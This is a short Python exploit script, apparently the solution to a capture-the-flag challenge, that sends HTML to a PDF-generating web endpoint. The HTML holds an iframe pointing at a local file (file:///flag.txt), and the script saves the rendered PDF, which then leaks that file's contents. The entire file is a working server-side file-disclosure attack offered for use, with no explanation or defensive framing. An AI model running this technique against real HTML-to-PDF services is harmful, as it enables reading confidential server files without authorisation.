Files
Geroi-Kodeksa/ArchmageScriptorium-Web/exploit.py
2026-03-02 21:44:22 +03:00

28 lines
627 B
Python

import sys
import requests
def main():
base = sys.argv[1] if len(sys.argv) > 1 else "http://localhost:8000"
payload = """
<h1>Королевский Указ</h1>
<p>Приложение: выдержка из гримуара</p>
<iframe src="file:///flag.txt" style="width:800px;height:200px"></iframe>
""".strip()
resp = requests.post(
f"{base}/seal",
data={"content": payload, "format": "html"},
timeout=10,
)
resp.raise_for_status()
with open("scroll.pdf", "wb") as f:
f.write(resp.content)
print("saved scroll.pdf")
if __name__ == "__main__":
main()